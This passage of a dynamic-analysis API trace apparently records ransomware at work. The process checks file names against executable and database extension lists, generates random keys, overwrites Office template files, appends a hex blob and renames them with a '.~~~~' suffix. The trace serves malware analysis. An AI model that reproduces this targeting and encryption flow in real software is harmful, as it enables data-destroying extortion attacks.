	[0143.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac128 | out: hHeap=0x300000) returned 1
	[0143.915] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.915] GetLastError () returned 0x0
	[0143.916] GetLastError () returned 0x0
	[0143.916] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.916] GetLastError () returned 0x0
	[0143.916] GetLastError () returned 0x0
	[0143.916] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x23e0, lpOverlapped=0x0) returned 1
	[0143.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffdc20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.991] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x23e0, lpOverlapped=0x0) returned 1
	[0143.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.991] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.991] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.991] CloseHandle (hObject=0x114) returned 1
	[0143.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b440
	[0143.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.~~~~")) returned 1
	[0143.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b440 | out: hHeap=0x300000) returned 1
	[0143.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.995] GetLastError () returned 0x0
	[0143.995] RtlWakeConditionVariable () returned 0x0
	[0143.995] GetCurrentThreadId () returned 0x9f4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".scr") returned 0x0
	[0143.996] lstrlenW (lpString=".cmd") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".cmd") returned 0x0
	[0143.996] lstrlenW (lpString=".dll") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dll") returned 0x0
	[0143.996] lstrlenW (lpString=".bat") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".bat") returned 0x0
	[0143.996] lstrlenW (lpString=".cpl") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".cpl") returned 0x0
	[0143.996] lstrlenW (lpString=".sys") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".sys") returned 0x0
	[0143.996] lstrlenW (lpString=".msc") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".msc") returned 0x0
	[0143.996] lstrlenW (lpString=".com") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".com") returned 0x0
	[0143.996] lstrlenW (lpString=".lnk") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".lnk") returned 0x0
	[0143.996] lstrlenW (lpString=".msp") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".msp") returned 0x0
	[0143.996] lstrlenW (lpString=".pif") returned 4
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".pif") returned 0x0
	[0143.996] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.999] lstrlenW (lpString=".sqb") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".sqb") returned 0x0
	[0143.999] lstrlenW (lpString=".ost") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".ost") returned 0x0
	[0143.999] lstrlenW (lpString=".txt") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".txt") returned 0x0
	[0143.999] lstrlenW (lpString=".mdt") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".mdt") returned 0x0
	[0143.999] lstrlenW (lpString=".BDB") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".BDB") returned 0x0
	[0143.999] lstrlenW (lpString=".eql") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".eql") returned 0x0
	[0143.999] lstrlenW (lpString=".DBF") returned 4
	[0143.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DBF") returned 0x0
	[0143.999] lstrlenW (lpString=".EQL") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".EQL") returned 0x0
	[0144.000] lstrlenW (lpString=".FDB") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".FDB") returned 0x0
	[0144.000] lstrlenW (lpString=".EDB") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".EDB") returned 0x0
	[0144.000] lstrlenW (lpString=".DACPAC") returned 7
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.000] lstrlenW (lpString=".VHD") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".VHD") returned 0x0
	[0144.000] lstrlenW (lpString=".DBV") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DBV") returned 0x0
	[0144.000] lstrlenW (lpString=".dacpac") returned 7
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dacpac") returned 0x0
	[0144.000] lstrlenW (lpString=".sdf") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".sdf") returned 0x0
	[0144.000] lstrlenW (lpString=".accdb") returned 6
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".accdb") returned 0x0
	[0144.000] lstrlenW (lpString=".DBX") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DBX") returned 0x0
	[0144.000] lstrlenW (lpString=".MDT") returned 4
	[0144.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".MDT") returned 0x0
	[0144.000] lstrlenW (lpString=".SQB") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".SQB") returned 0x0
	[0144.001] lstrlenW (lpString=".vhd") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".vhd") returned 0x0
	[0144.001] lstrlenW (lpString=".bac") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".bac") returned 0x0
	[0144.001] lstrlenW (lpString=".mdf") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".mdf") returned 0x0
	[0144.001] lstrlenW (lpString=".BAK") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".BAK") returned 0x0
	[0144.001] lstrlenW (lpString=".BAC") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".BAC") returned 0x0
	[0144.001] lstrlenW (lpString=".dbs") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dbs") returned 0x0
	[0144.001] lstrlenW (lpString=".vhdx") returned 5
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".vhdx") returned 0x0
	[0144.001] lstrlenW (lpString=".NDF") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".NDF") returned 0x0
	[0144.001] lstrlenW (lpString=".dat") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dat") returned 0x0
	[0144.001] lstrlenW (lpString=".DBS") returned 4
	[0144.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DBS") returned 0x0
	[0144.002] lstrlenW (lpString=".CKP") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".CKP") returned 0x0
	[0144.002] lstrlenW (lpString=".edb") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".edb") returned 0x0
	[0144.002] lstrlenW (lpString=".PST") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".PST") returned 0x0
	[0144.002] lstrlenW (lpString=".dbf") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dbf") returned 0x0
	[0144.002] lstrlenW (lpString=".SQL") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".SQL") returned 0x0
	[0144.002] lstrlenW (lpString=".pst") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".pst") returned 0x0
	[0144.002] lstrlenW (lpString=".dbv") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dbv") returned 0x0
	[0144.002] lstrlenW (lpString=".SDF") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".SDF") returned 0x0
	[0144.002] lstrlenW (lpString=".dtxs") returned 5
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dtxs") returned 0x0
	[0144.002] lstrlenW (lpString=".db3") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".db3") returned 0x0
	[0144.002] lstrlenW (lpString=".OST") returned 4
	[0144.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".OST") returned 0x0
	[0144.003] lstrlenW (lpString=".dbx") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dbx") returned 0x0
	[0144.003] lstrlenW (lpString=".DB3") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DB3") returned 0x0
	[0144.003] lstrlenW (lpString=".DAT") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DAT") returned 0x0
	[0144.003] lstrlenW (lpString=".VHDX") returned 5
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".VHDX") returned 0x0
	[0144.003] lstrlenW (lpString=".ndf") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".ndf") returned 0x0
	[0144.003] lstrlenW (lpString=".DB") returned 3
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DB") returned 0x0
	[0144.003] lstrlenW (lpString=".sql") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".sql") returned 0x0
	[0144.003] lstrlenW (lpString=".MYD") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".MYD") returned 0x0
	[0144.003] lstrlenW (lpString=".DBT") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DBT") returned 0x0
	[0144.003] lstrlenW (lpString=".ACCDB") returned 6
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.003] lstrlenW (lpString=".fdb") returned 4
	[0144.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".fdb") returned 0x0
	[0144.004] lstrlenW (lpString=".bak") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".bak") returned 0x0
	[0144.004] lstrlenW (lpString=".myd") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".myd") returned 0x0
	[0144.004] lstrlenW (lpString=".DTXS") returned 5
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".DTXS") returned 0x0
	[0144.004] lstrlenW (lpString=".ckp") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".ckp") returned 0x0
	[0144.004] lstrlenW (lpString=".dbt") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".dbt") returned 0x0
	[0144.004] lstrlenW (lpString=".db") returned 3
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".db") returned 0x0
	[0144.004] lstrlenW (lpString=".TXT") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".TXT") returned 0x0
	[0144.004] lstrlenW (lpString=".MDF") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".MDF") returned 0x0
	[0144.004] lstrlenW (lpString=".bdb") returned 4
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".bdb") returned 0x0
	[0144.004] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.005] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0144.006] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.006] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.006] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26399611792) returned 1
	[0144.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf3d0f90, dwHighDateTime=0x1d60e1e)) 
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b25f8
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25f8 | out: hHeap=0x300000) returned 1
	[0144.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac3c8
	[0144.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac3c8 | out: hHeap=0x300000) returned 1
	[0144.007] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.007] GetLastError () returned 0x0
	[0144.007] GetLastError () returned 0x0
	[0144.007] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.007] GetLastError () returned 0x0
	[0144.008] GetLastError () returned 0x0
	[0144.008] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x2168, lpOverlapped=0x0) returned 1
	[0144.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffde98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.010] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2168, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x2168, lpOverlapped=0x0) returned 1
	[0144.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.010] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.010] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.010] CloseHandle (hObject=0x114) returned 1
	[0144.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b440
	[0144.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.~~~~")) returned 1
	[0144.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b440 | out: hHeap=0x300000) returned 1
	[0144.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.013] GetLastError () returned 0x0
	[0144.013] RtlWakeConditionVariable () returned 0x0
	[0144.013] GetCurrentThreadId () returned 0x9f4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".scr") returned 0x0
	[0144.013] lstrlenW (lpString=".cmd") returned 4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".cmd") returned 0x0
	[0144.013] lstrlenW (lpString=".dll") returned 4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dll") returned 0x0
	[0144.013] lstrlenW (lpString=".bat") returned 4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".bat") returned 0x0
	[0144.013] lstrlenW (lpString=".cpl") returned 4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".cpl") returned 0x0
	[0144.013] lstrlenW (lpString=".sys") returned 4
	[0144.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".sys") returned 0x0
	[0144.013] lstrlenW (lpString=".msc") returned 4
	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".msc") returned 0x0
	[0144.014] lstrlenW (lpString=".com") returned 4
